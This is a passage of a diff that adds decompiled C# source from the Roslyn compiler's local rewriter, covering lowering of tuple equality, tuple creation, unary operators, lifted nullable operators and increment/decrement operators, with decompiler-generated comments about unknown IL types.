_factory.Not(hasValue2) : hasValue2); + } + return _factory.Sequence(ImmutableArray.Empty, instance.ToImmutableAndFree(), _factory.Conditional(_factory.Binary(BinaryOperatorKind.Equal, boolType, hasValue, hasValue2), _factory.Conditional(hasValue, boundExpression, MakeBooleanConstant(right.Syntax, flag), boolType), MakeBooleanConstant(right.Syntax, !flag), boolType)); + } + + private void MakeNullableParts(BoundExpression expr, ArrayBuilder temps, ArrayBuilder innerEffects, ArrayBuilder outerEffects, bool saveHasValue, out BoundExpression hasValue, out BoundExpression value, out bool isNullable) + { + isNullable = !(expr is BoundTupleExpression) && (object)expr.Type != null && expr.Type.IsNullableType(); + if (!isNullable) + { + hasValue = MakeBooleanConstant(expr.Syntax, value: true); + expr = PushDownImplicitTupleConversion(expr, innerEffects, temps); + value = expr; + return; + } + if (NullableNeverHasValue(expr)) + { + hasValue = MakeBooleanConstant(expr.Syntax, value: false); + value = new BoundDefaultExpression(expr.Syntax, expr.Type.StrippedType()); + return; + } + BoundExpression boundExpression = NullableAlwaysHasValue(expr); + if (boundExpression != null) + { + hasValue = MakeBooleanConstant(expr.Syntax, value: true); + value = PushDownImplicitTupleConversion(boundExpression, innerEffects, temps); + value = LowerConversions(value); + isNullable = false; + return; + } + hasValue = makeNullableHasValue(expr); + if (saveHasValue) + { + hasValue = MakeTemp(hasValue, temps, outerEffects); + } + value = MakeValueOrDefaultTemp(expr, temps, innerEffects); + BoundExpression makeNullableHasValue(BoundExpression boundExpression2) + { + if (boundExpression2 is BoundConversion { Conversion: var conversion } boundConversion) + { + if (conversion.IsIdentity) + { + BoundExpression operand = boundConversion.Operand; + return makeNullableHasValue(operand); + } + if (conversion.IsNullable) + { + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + BoundExpression operand = boundConversion.Operand; + BoundExpression boundExpression3 = operand; + if (boundExpression2.Type.IsNullableType() && (object)boundExpression3.Type != null && boundExpression3.Type.IsNullableType() && !underlyingConversions[0].IsUserDefined) + { + return makeNullableHasValue(boundExpression3); + } + } + } + return _factory.MakeNullableHasValue(boundExpression2.Syntax, boundExpression2); + } + } + + private BoundLocal MakeTemp(BoundExpression loweredExpression, ArrayBuilder temps, ArrayBuilder effects) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(loweredExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + effects.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + return boundLocal; + } + + private BoundExpression MakeValueOrDefaultTemp(BoundExpression expr, ArrayBuilder temps, ArrayBuilder effects) + { + if (expr is BoundConversion { Conversion: var conversion } boundConversion) + { + if (conversion.IsIdentity) + { + BoundExpression operand = boundConversion.Operand; + return MakeValueOrDefaultTemp(operand, temps, effects); + } + if (conversion.IsNullable) + { + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + BoundExpression operand = boundConversion.Operand; + BoundExpression boundExpression = operand; + TypeSymbol type = expr.Type; + if ((object)type != null && type.IsNullableType() && (object)boundExpression.Type != null && boundExpression.Type.IsNullableType()) + { + Conversion conversion2 = underlyingConversions[0]; + if (conversion2.IsTupleConversion) + { + BoundExpression boundExpression2 = MakeValueOrDefaultTemp(boundExpression, temps, effects); + ImmutableArray tupleElementTypesWithAnnotations = expr.Type.GetNullableUnderlyingType().TupleElementTypesWithAnnotations; + int length = boundExpression2.Type.TupleElementTypesWithAnnotations.Length; + ImmutableArray underlyingConversions2 = conversion2.UnderlyingConversions; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + instance.Add(MakeBoundConversion(GetTuplePart(boundExpression2, i), underlyingConversions2[i], tupleElementTypesWithAnnotations[i], boundConversion)); + } + return new BoundConvertedTupleLiteral(boundExpression2.Syntax, null, wasTargetTyped: false, instance.ToImmutableAndFree(), ImmutableArray.Empty, ImmutableArray.Empty, expr.Type, expr.HasErrors).WithSuppression(expr.IsSuppressed); + } + } + } + } + BoundExpression loweredExpression = MakeOptimizedGetValueOrDefault(expr.Syntax, expr); + return MakeTemp(loweredExpression, temps, effects); + static BoundExpression MakeBoundConversion(BoundExpression boundExpression3, Conversion conversion3, TypeWithAnnotations typeWithAnnotations, BoundConversion enclosing) + { + return new BoundConversion(boundExpression3.Syntax, boundExpression3, conversion3, enclosing.Checked, enclosing.ExplicitCastInCode, null, null, typeWithAnnotations.Type); + } + } + + private BoundExpression RewriteNonNullableNestedTupleOperators(TupleBinaryOperatorInfo.Multiple operators, BoundExpression left, BoundExpression right, TypeSymbol type, ArrayBuilder temps, BinaryOperatorKind operatorKind) + { + ImmutableArray operators2 = operators.Operators; + BoundExpression boundExpression = null; + for (int i = 0; i < operators2.Length; i++) + { + BoundExpression tuplePart = GetTuplePart(left, i); + BoundExpression tuplePart2 = GetTuplePart(right, i); + BoundExpression boundExpression2 = RewriteTupleOperator(operators2[i], tuplePart, tuplePart2, type, temps, operatorKind); + if (boundExpression == null) + { + boundExpression = boundExpression2; + continue; + } + BinaryOperatorKind kind = ((operatorKind == BinaryOperatorKind.Equal) ? BinaryOperatorKind.LogicalBoolAnd : BinaryOperatorKind.LogicalBoolOr); + boundExpression = _factory.Binary(kind, type, boundExpression, boundExpression2); + } + return boundExpression; + } + + private BoundExpression GetTuplePart(BoundExpression tuple, int i) + { + if (tuple is BoundTupleExpression boundTupleExpression) + { + return boundTupleExpression.Arguments[i]; + } + return MakeTupleFieldAccessAndReportUseSiteDiagnostics(tuple, tuple.Syntax, tuple.Type.TupleElements[i]); + } + + private BoundExpression RewriteTupleSingleOperator(TupleBinaryOperatorInfo.Single single, BoundExpression left, BoundExpression right, TypeSymbol boolType, BinaryOperatorKind operatorKind) + { + left = LowerConversions(left); + right = LowerConversions(right); + if (single.Kind.IsDynamic()) + { + BoundExpression loweredOperand = _dynamicFactory.MakeDynamicBinaryOperator(single.Kind, left, right, isCompoundAssignment: false, _compilation.DynamicType).ToExpression(); + if (operatorKind == BinaryOperatorKind.Equal) + { + return _factory.Not(MakeUnaryOperator(UnaryOperatorKind.DynamicFalse, left.Syntax, null, null, loweredOperand, boolType)); + } + return MakeUnaryOperator(UnaryOperatorKind.DynamicTrue, left.Syntax, null, null, loweredOperand, boolType); + } + if (left.IsLiteralNull() && right.IsLiteralNull()) + { + return new BoundLiteral(left.Syntax, ConstantValue.Create(operatorKind == BinaryOperatorKind.Equal), boolType); + } + BoundExpression boundExpression = MakeBinaryOperator(_factory.Syntax, single.Kind, left, right, single.MethodSymbolOpt?.ReturnType ?? boolType, single.MethodSymbolOpt, single.ConstrainedToTypeOpt); + UnaryOperatorSignature boolOperator = single.BoolOperator; + BoundExpression boundExpression2 = ApplyConversionIfNotIdentity(single.ConversionForBool, single.ConversionForBoolPlaceholder, boundExpression); + BoundExpression boundExpression3; + if (boolOperator.Kind != UnaryOperatorKind.Error) + { + boundExpression3 = MakeUnaryOperator(boolOperator.Kind, boundExpression.Syntax, boolOperator.Method, boolOperator.ConstrainedToTypeOpt, boundExpression2, boolType); + if (operatorKind == BinaryOperatorKind.Equal) + { + boundExpression3 = _factory.Not(boundExpression3); + } + } + else + { + boundExpression3 = boundExpression2; + } + return boundExpression3; + } + + private BoundExpression LowerConversions(BoundExpression expr) + { + if (!(expr is BoundConversion boundConversion)) + { + return expr; + } + return MakeConversionNode(boundConversion, boundConversion.Syntax, LowerConversions(boundConversion.Operand), boundConversion.Conversion, boundConversion.Checked, boundConversion.ExplicitCastInCode, boundConversion.ConstantValueOpt, boundConversion.Type); + } + + public override BoundNode VisitTupleLiteral(BoundTupleLiteral node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_TupleCreationExpression.cs", 17); + } + + public override BoundNode VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + return VisitTupleExpression(node); + } + + private BoundNode VisitTupleExpression(BoundTupleExpression node) + { + ImmutableArray rewrittenArguments = VisitList(node.Arguments); + return RewriteTupleCreationExpression(node, rewrittenArguments); + } + + private BoundExpression RewriteTupleCreationExpression(BoundTupleExpression node, ImmutableArray rewrittenArguments) + { + return MakeTupleCreationExpression(node.Syntax, (NamedTypeSymbol)node.Type, rewrittenArguments); + } + + private BoundExpression MakeTupleCreationExpression(SyntaxNode syntax, NamedTypeSymbol type, ImmutableArray rewrittenArguments) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamedTypeSymbol.GetUnderlyingTypeChain(type, instance); + try + { + NamedTypeSymbol namedTypeSymbol = ArrayBuilderExtensions.Pop(instance); + ImmutableArray arguments = ImmutableArray.Create(rewrittenArguments, instance.Count * 7, namedTypeSymbol.Arity); + MethodSymbol methodSymbol = (MethodSymbol)NamedTypeSymbol.GetWellKnownMemberInType(namedTypeSymbol.OriginalDefinition, NamedTypeSymbol.GetTupleCtor(namedTypeSymbol.Arity), _diagnostics, syntax); + if ((object)methodSymbol == null) + { + return _factory.BadExpression(type); + } + MethodSymbol constructor = methodSymbol.AsMember(namedTypeSymbol); + BoundObjectCreationExpression boundObjectCreationExpression = new BoundObjectCreationExpression(syntax, constructor, arguments); + Binder.CheckRequiredMembersInObjectInitializer(constructor, ImmutableArray.Empty, syntax, _diagnostics); + if (instance.Count > 0) + { + MethodSymbol methodSymbol2 = (MethodSymbol)NamedTypeSymbol.GetWellKnownMemberInType(ArrayBuilderExtensions.Peek(instance).OriginalDefinition, NamedTypeSymbol.GetTupleCtor(8), _diagnostics, syntax); + if ((object)methodSymbol2 == null) + { + return _factory.BadExpression(type); + } + Binder.CheckRequiredMembersInObjectInitializer(methodSymbol2, ImmutableArray.Empty, syntax, _diagnostics); + do + { + ImmutableArray arguments2 = ImmutableArray.Create(rewrittenArguments, (instance.Count - 1) * 7, 7).Add(boundObjectCreationExpression); + MethodSymbol constructor2 = methodSymbol2.AsMember(ArrayBuilderExtensions.Pop(instance)); + boundObjectCreationExpression = new BoundObjectCreationExpression(syntax, constructor2, arguments2); + } + while (instance.Count > 0); + } + return boundObjectCreationExpression.Update(boundObjectCreationExpression.Constructor, boundObjectCreationExpression.Arguments, boundObjectCreationExpression.ArgumentNamesOpt, boundObjectCreationExpression.ArgumentRefKindsOpt, boundObjectCreationExpression.Expanded, boundObjectCreationExpression.ArgsToParamsOpt, boundObjectCreationExpression.DefaultArguments, boundObjectCreationExpression.ConstantValueOpt, boundObjectCreationExpression.InitializerExpressionOpt, type); + } + finally + { + instance.Free(); + } + } + + public override BoundNode VisitUnaryOperator(BoundUnaryOperator node) + { + switch (node.OperatorKind.Operator()) + { + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixIncrement: + case UnaryOperatorKind.PrefixDecrement: + return base.VisitUnaryOperator(node); + default: + { + if (node.Operand.Kind == BoundKind.BinaryOperator) + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)node.Operand; + if ((node.OperatorKind == UnaryOperatorKind.DynamicTrue && boundBinaryOperator.OperatorKind == BinaryOperatorKind.DynamicLogicalOr) || (node.OperatorKind == UnaryOperatorKind.DynamicFalse && boundBinaryOperator.OperatorKind == BinaryOperatorKind.DynamicLogicalAnd)) + { + return VisitBinaryOperator(boundBinaryOperator, node); + } + } + BoundExpression loweredOperand = VisitExpression(node.Operand); + return MakeUnaryOperator(node, node.OperatorKind, node.Syntax, node.MethodOpt, node.ConstrainedToTypeOpt, loweredOperand, node.Type); + } + } + } + + private BoundExpression MakeUnaryOperator(UnaryOperatorKind kind, SyntaxNode syntax, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, BoundExpression loweredOperand, TypeSymbol type) + { + return MakeUnaryOperator(null, kind, syntax, method, constrainedToTypeOpt, loweredOperand, type); + } + + private BoundExpression MakeUnaryOperator(BoundUnaryOperator? oldNode, UnaryOperatorKind kind, SyntaxNode syntax, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, BoundExpression loweredOperand, TypeSymbol type) + { + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0146: Unknown result type (might be due to invalid IL or missing references) + if (kind.IsDynamic()) + { + ConstantValue val = UnboxConstant(loweredOperand); + if (val == ConstantValue.True || val == ConstantValue.False) + { + switch (kind) + { + case UnaryOperatorKind.DynamicTrue: + return _factory.Literal(val.BooleanValue); + case UnaryOperatorKind.DynamicLogicalNegation: + return MakeConversionNode(_factory.Literal(!val.BooleanValue), type, @checked: false); + } + } + return _dynamicFactory.MakeDynamicUnaryOperator(kind, loweredOperand, type).ToExpression(); + } + if (kind.IsLifted()) + { + if (!_inExpressionLambda) + { + return LowerLiftedUnaryOperator(kind, syntax, method, constrainedToTypeOpt, loweredOperand, type); + } + } + else if (kind.IsUserDefined()) + { + if (!_inExpressionLambda || kind == UnaryOperatorKind.UserDefinedTrue || kind == UnaryOperatorKind.UserDefinedFalse) + { + return BoundCall.Synthesized(syntax, ((object)constrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, constrainedToTypeOpt), (ThreeState)0, method, loweredOperand); + } + } + else if (kind.Operator() == UnaryOperatorKind.UnaryPlus) + { + return loweredOperand; + } + switch (kind) + { + case UnaryOperatorKind.EnumBitwiseComplement: + { + NamedTypeSymbol enumUnderlyingType = loweredOperand.Type.GetEnumUnderlyingType(); + SpecialType enumPromotedType = Binder.GetEnumPromotedType(enumUnderlyingType.SpecialType); + NamedTypeSymbol namedTypeSymbol = ((enumPromotedType == enumUnderlyingType.SpecialType) ? enumUnderlyingType : _compilation.GetSpecialType(enumPromotedType)); + BoundExpression boundExpression = MakeConversionNode(loweredOperand, namedTypeSymbol, @checked: false); + UnaryOperatorKind operatorKind = kind.Operator().WithType(enumPromotedType); + BoundUnaryOperator boundUnaryOperator = ((oldNode != null) ? oldNode.Update(operatorKind, boundExpression, oldNode.ConstantValueOpt, method, constrainedToTypeOpt, boundExpression.ResultKind, namedTypeSymbol) : new BoundUnaryOperator(syntax, operatorKind, boundExpression, null, method, constrainedToTypeOpt, LookupResultKind.Viable, namedTypeSymbol)); + return MakeConversionNode(boundUnaryOperator.Syntax, boundUnaryOperator, Conversion.ExplicitEnumeration, type, @checked: false); + } + case UnaryOperatorKind.DecimalUnaryMinus: + method = (MethodSymbol)_compilation.Assembly.GetSpecialTypeMember((SpecialMember)36); + if (!_inExpressionLambda) + { + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, loweredOperand); + } + break; + } + if (oldNode == null) + { + return new BoundUnaryOperator(syntax, kind, loweredOperand, null, method, constrainedToTypeOpt, LookupResultKind.Viable, type); + } + return oldNode.Update(kind, loweredOperand, oldNode.ConstantValueOpt, method, constrainedToTypeOpt, oldNode.ResultKind, type); + } + + private BoundExpression LowerLiftedUnaryOperator(UnaryOperatorKind kind, SyntaxNode syntax, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, BoundExpression loweredOperand, TypeSymbol type) + { + BoundExpression boundExpression = OptimizeLiftedUnaryOperator(kind, syntax, method, constrainedToTypeOpt, loweredOperand, type); + if (boundExpression != null) + { + return boundExpression; + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(loweredOperand, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + MethodSymbol method2 = UnsafeGetNullableMethod(syntax, boundLocal.Type, (SpecialMember)114); + BoundExpression rewrittenCondition = _factory.MakeNullableHasValue(syntax, boundLocal); + BoundExpression nonNullOperand = BoundCall.Synthesized(syntax, boundLocal, (ThreeState)0, method2); + BoundExpression liftedUnaryOperatorConsequence = GetLiftedUnaryOperatorConsequence(kind, syntax, method, constrainedToTypeOpt, type, nonNullOperand); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(syntax, type); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, liftedUnaryOperatorConsequence, rewrittenAlternative, null, type, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, type); + } + + private BoundExpression? OptimizeLiftedUnaryOperator(UnaryOperatorKind operatorKind, SyntaxNode syntax, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, BoundExpression loweredOperand, TypeSymbol type) + { + if (NullableNeverHasValue(loweredOperand)) + { + return new BoundDefaultExpression(syntax, type); + } + BoundExpression boundExpression = NullableAlwaysHasValue(loweredOperand); + if (boundExpression != null) + { + return GetLiftedUnaryOperatorConsequence(operatorKind, syntax, method, constrainedToTypeOpt, type, boundExpression); + } + if (loweredOperand is BoundLoweredConditionalAccess boundLoweredConditionalAccess && (boundLoweredConditionalAccess.WhenNullOpt == null || boundLoweredConditionalAccess.WhenNullOpt.IsDefaultValue())) + { + BoundExpression boundExpression2 = LowerLiftedUnaryOperator(operatorKind, syntax, method, constrainedToTypeOpt, boundLoweredConditionalAccess.WhenNotNull, type); + return boundLoweredConditionalAccess.Update(boundLoweredConditionalAccess.Receiver, boundLoweredConditionalAccess.HasValueMethodOpt, boundExpression2, null, boundLoweredConditionalAccess.Id, boundLoweredConditionalAccess.ForceCopyOfNullableValueType, boundExpression2.Type); + } + if (loweredOperand.Kind == BoundKind.Sequence) + { + BoundSequence boundSequence = (BoundSequence)loweredOperand; + if (boundSequence.Value.Kind == BoundKind.ConditionalOperator) + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)boundSequence.Value; + if (NullableAlwaysHasValue(boundConditionalOperator.Consequence) != null && NullableNeverHasValue(boundConditionalOperator.Alternative)) + { + return new BoundSequence(syntax, boundSequence.Locals, boundSequence.SideEffects, RewriteConditionalOperator(syntax, boundConditionalOperator.Condition, MakeUnaryOperator(operatorKind, syntax, method, constrainedToTypeOpt, boundConditionalOperator.Consequence, type), MakeUnaryOperator(operatorKind, syntax, method, constrainedToTypeOpt, boundConditionalOperator.Alternative, type), null, type, isRef: false), type); + } + } + } + return null; + } + + private BoundExpression GetLiftedUnaryOperatorConsequence(UnaryOperatorKind kind, SyntaxNode syntax, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, TypeSymbol type, BoundExpression nonNullOperand) + { + MethodSymbol constructor = UnsafeGetNullableMethod(syntax, type, (SpecialMember)117); + BoundExpression boundExpression = MakeUnaryOperator(null, kind.Unlifted(), syntax, method, constrainedToTypeOpt, nonNullOperand, type.GetNullableUnderlyingType()); + return new BoundObjectCreationExpression(syntax, constructor, boundExpression); + } + + private static bool IsIncrement(BoundIncrementOperator node) + { + UnaryOperatorKind unaryOperatorKind = node.OperatorKind.Operator(); + if (unaryOperatorKind != UnaryOperatorKind.PostfixIncrement) + { + return unaryOperatorKind == UnaryOperatorKind.PrefixIncrement; + } + return true; + } + + private static bool IsPrefix(BoundIncrementOperator node) + { + UnaryOperatorKind unaryOperatorKind = node.OperatorKind.Operator(); + if (unaryOperatorKind != UnaryOperatorKind.PrefixIncrement) + { + return unaryOperatorKind == UnaryOperatorKind.PrefixDecrement; + } + return true; + } + + public override BoundNode VisitIncrementOperator(BoundIncrementOperator node) + { + bool flag = IsPrefix(node); + bool isDynamicAssignment = node.OperatorKind.IsDynamic(); + bool isChecked = node.OperatorKind.IsChecked(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + SyntaxNode syntax = node.Syntax; + BoundExpression boundExpression = TransformCompoundAssignmentLHS(node.Operand, isRegularCompoundAssignment: true, instance2, instance, isDynamicAssignment); + TypeSymbol type = boundExpression.Type; + LocalSymbol localSymbol = _factory.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add(localSymbol); + BoundExpression boundExpression2 = new BoundLocal(syntax, localSymbol, null, type); + BoundExpression newValue = MakeIncrementOperator(node, flag ? MakeRValue(boundExpression) : boundExpression2); + if (IsIndirectOrInstanceField(boundExpression)) + { + return RewriteWithRefOperand(flag, isChecked, instance, instance2, syntax, boundExpression, type, boundExpression2, newValue); + } + return RewriteWithNotRefOperand(flag, isChecked, instance, instance2, syntax, boundExpression, type, boundExpression2, newValue); + } + + private static bool IsIndirectOrInstanceField(BoundExpression expression) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Invalid comparison between Unknown and I4 + return expression.Kind switch + { + BoundKind.Local => (int)((BoundLocal)expression).LocalSymbol.RefKind > 0, + BoundKind.Parameter => (int)((BoundParameter)expression).ParameterSymbol.RefKind > 0, + BoundKind.FieldAccess => !((BoundFieldAccess)expression).FieldSymbol.IsStatic, + _ => false, + }; + } + + private BoundNode RewriteWithNotRefOperand(bool isPrefix, bool isChecked, ArrayBuilder tempSymbols, ArrayBuilder tempInitializers, SyntaxNode syntax, BoundExpression transformedLHS, TypeSymbol operandType, BoundExpression boundTemp, BoundExpression newValue) + { + ImmutableArray immutableArray = ImmutableArray.Create(MakeAssignmentOperator(syntax, boundTemp, isPrefix ? newValue : MakeRValue(transformedLHS), operandType, used: false, isChecked, isCompoundAssignment: false), MakeAssignmentOperator(syntax, transformedLHS, isPrefix ? boundTemp : newValue, operandType, used: false, isChecked, isCompoundAssignment: false)); + return new BoundSequence(syntax, tempSymbols.ToImmutableAndFree(), ImmutableArrayExtensions.Concat(tempInitializers.ToImmutableAndFree(), immutableArray), boundTemp, operandType); + } + + private BoundNode RewriteWithRefOperand(bool isPrefix, bool isChecked, ArrayBuilder tempSymbols, ArrayBuilder tempInitializers, SyntaxNode syntax, BoundExpression operand, TypeSymbol operandType, BoundExpression boundTemp, BoundExpression newValue) + { + BoundExpression boundExpression = (isPrefix ? newValue : MakeRValue(operand)); + BoundExpression item = MakeAssignmentOperator(syntax, boundTemp, boundExpression, operandType, used: false, isChecked, isCompoundAssignment: false); + BoundExpression value = (isPrefix ? boundTemp : newValue); + BoundSequence rewrittenRight = new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(item), value, boundExpression.Type); + BoundExpression boundExpression2 = MakeAssignmentOperator(syntax, operand, rewrittenRight, operandType, used: false, isChecked, isCompoundAssignment: false); + tempInitializers.Add(boundExpression2); + return new BoundSequence(syntax, tempSymbols.ToImmutableAndFree(), tempInitializers.ToImmutableAndFree(), boundTemp, operandType); + } + + private BoundExpression MakeIncrementOperator(BoundIncrementOperator node, BoundExpression rewrittenValueToIncrement) + { + if (node.OperatorKind.IsDynamic()) + { + return _dynamicFactory.MakeDynamicUnaryOperator(node.OperatorKind, rewrittenValueToIncrement, node.Type).ToExpression(); + } + return ApplyConversionIfNotIdentity(replacement: (node.OperatorKind.OperandTypes() != UnaryOperatorKind.UserDefined) ? MakeBuiltInIncrementOperator(node, rewrittenValueToIncrement) : MakeUserDefinedIncrementOperator(node, rewrittenValueToIncrement), conversion: node.ResultConversion, placeholder: node.ResultPlaceholder); + } + + private BoundExpression ApplyConversionIfNotIdentity(BoundExpression? conversion, BoundValuePlaceholder? placeholder, BoundExpression replacement) + { + if (hasNonIdentityConversion(conversion)) + { + return ApplyConversion(conversion, placeholder, replacement); + } + return replacement; + static bool hasNonIdentityConversion([NotNullWhen(true)] BoundExpression? expression) + { + while (expression is BoundConversion { Conversion: var conversion2 } boundConversion) + { + if (!conversion2.IsIdentity) + { + return true; + } + expression = boundConversion.Operand; + } + return false; + } + } + + private BoundExpression ApplyConversion(BoundExpression conversion, BoundValuePlaceholder placeholder, BoundExpression replacement) + { + AddPlaceholderReplacement(placeholder, replacement); + replacement = VisitExpression(conversion); + RemovePlaceholderReplacement(placeholder); + return replacement; + } + + private BoundExpression MakeUserDefinedIncrementOperator(BoundIncrementOperator node, BoundExpression rewrittenValueToIncrement) + { + bool flag = node.OperatorKind.IsLifted(); + node.OperatorKind.IsChecked(); + SyntaxNode syntax = node.Syntax; + TypeSymbol typeSymbol = node.MethodOpt.GetParameterType(0); + if (flag) + { + typeSymbol = _compilation.GetSpecialType((SpecialType)32).Construct(typeSymbol); + } + BoundExpression boundExpression = ApplyConversionIfNotIdentity(node.OperandConversion, node.OperandPlaceholder, rewrittenValueToIncrement); + if (!flag) + { + return BoundCall.Synthesized(syntax, ((object)node.ConstrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, node.ConstrainedToTypeOpt), (ThreeState)0, node.MethodOpt, boundExpression); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + MethodSymbol method = UnsafeGetNullableMethod(syntax, typeSymbol, (SpecialMember)114); + MethodSymbol constructor = UnsafeGetNullableMethod(syntax, typeSymbol, (SpecialMember)117); + BoundExpression rewrittenCondition = _factory.MakeNullableHasValue(node.Syntax, boundLocal); + BoundExpression arg = BoundCall.Synthesized(syntax, boundLocal, (ThreeState)0, method); + BoundExpression boundExpression2 = BoundCall.Synthesized(syntax, ((object)node.ConstrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, node.ConstrainedToTypeOpt), (ThreeState)0, node.MethodOpt, arg); + BoundExpression rewrittenConsequence = new BoundObjectCreationExpression(syntax, constructor, boundExpression2); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(syntax, typeSymbol); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, typeSymbol, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, typeSymbol); + } + + private BoundExpression MakeBuiltInIncrementOperator(BoundIncrementOperator node, BoundExpression rewrittenValueToIncrement) + { + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Invalid comparison between Unknown and I4 + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Invalid comparison between Unknown and I4 + TypeSymbol unaryOperatorType = GetUnaryOperatorType(node); + BinaryOperatorKind correspondingBinaryOperator = GetCorrespondingBinaryOperator(node); + correspondingBinaryOperator = (BinaryOperatorKind)((int)correspondingBinaryOperator | (IsIncrement(node) ? 4352 : 4608)); + (TypeSymbol, ConstantValue) constantOneForIncrement = GetConstantOneForIncrement(_compilation, correspondingBinaryOperator); + TypeSymbol typeSymbol = constantOneForIncrement.Item1; + ConstantValue item = constantOneForIncrement.Item2; + BoundExpression boundExpression = MakeLiteral(node.Syntax, item, typeSymbol); + if (correspondingBinaryOperator.IsLifted()) + { + typeSymbol = _compilation.GetOrCreateNullableType(typeSymbol); + MethodSymbol constructor = UnsafeGetNullableMethod(node.Syntax, typeSymbol, (SpecialMember)117); + boundExpression = new BoundObjectCreationExpression(node.Syntax, constructor, boundExpression); + } + BoundExpression replacement = rewrittenValueToIncrement; + bool flag = node.OperatorKind.IsChecked(); + replacement = ApplyConversionIfNotIdentity(node.OperandConversion, node.OperandPlaceholder, replacement); + if (node.OperatorKind.OperandTypes() == UnaryOperatorKind.Pointer) + { + return MakeBinaryOperator(node.Syntax, correspondingBinaryOperator, replacement, boundExpression, replacement.Type, null, null); + } + replacement = MakeConversionNode(replacement, typeSymbol, flag, acceptFailingConversion: false, markAsChecked: true); + BoundExpression rewrittenOperand = (((int)unaryOperatorType.SpecialType == 17) ? MakeDecimalIncDecOperator(node.Syntax, correspondingBinaryOperator, replacement) : ((!unaryOperatorType.IsNullableType() || (int)unaryOperatorType.GetNullableUnderlyingType().SpecialType != 17) ? MakeBinaryOperator(node.Syntax, correspondingBinaryOperator, replacement, boundExpression, typeSymbol, null, null) : MakeLiftedDecimalIncDecOperator(node.Syntax, correspondingBinaryOperator, replacement))); + return MakeConversionNode(rewrittenOperand, unaryOperatorType, flag, acceptFailingConversion: false, markAsChecked: true); + } + + private MethodSymbol GetDecimalIncDecOperator(BinaryOperatorKind oper) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SpecialMember member = (SpecialMember)(oper.Operator() switch + { + BinaryOperatorKind.Addition => 37, + BinaryOperatorKind.Subtraction => 38, + _ => throw ExceptionUtilities.UnexpectedValue((object)oper.Operator()), + }); + return (MethodSymbol)_compilation.Assembly.GetSpecialTypeMember(member); + } + + private BoundExpression MakeDecimalIncDecOperator(SyntaxNode syntax, BinaryOperatorKind oper, BoundExpression operand) + { + MethodSymbol decimalIncDecOperator = GetDecimalIncDecOperator(oper); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, decimalIncDecOperator, operand); + } + + private BoundExpression MakeLiftedDecimalIncDecOperator(SyntaxNode syntax, BinaryOperatorKind oper, BoundExpression operand) + { + MethodSymbol decimalIncDecOperator = GetDecimalIncDecOperator(oper); + MethodSymbol method = UnsafeGetNullableMethod(syntax, operand.Type, (SpecialMember)114); + MethodSymbol constructor = UnsafeGetNullableMethod(syntax, operand.Type, (SpecialMember)117); + BoundExpression rewrittenCondition = _factory.MakeNullableHasValue(syntax, operand); + BoundExpression arg = BoundCall.Synthesized(syntax, operand, (ThreeState)0, method); + BoundExpression boundExpression = BoundCall.Synthesized(syntax, null, (ThreeState)0, decimalIncDecOperator, arg); + BoundExpression rewrittenConsequence = new BoundObjectCreationExpression(syntax, constructor, boundExpression); + BoundExpression rewrittenAlternative = new 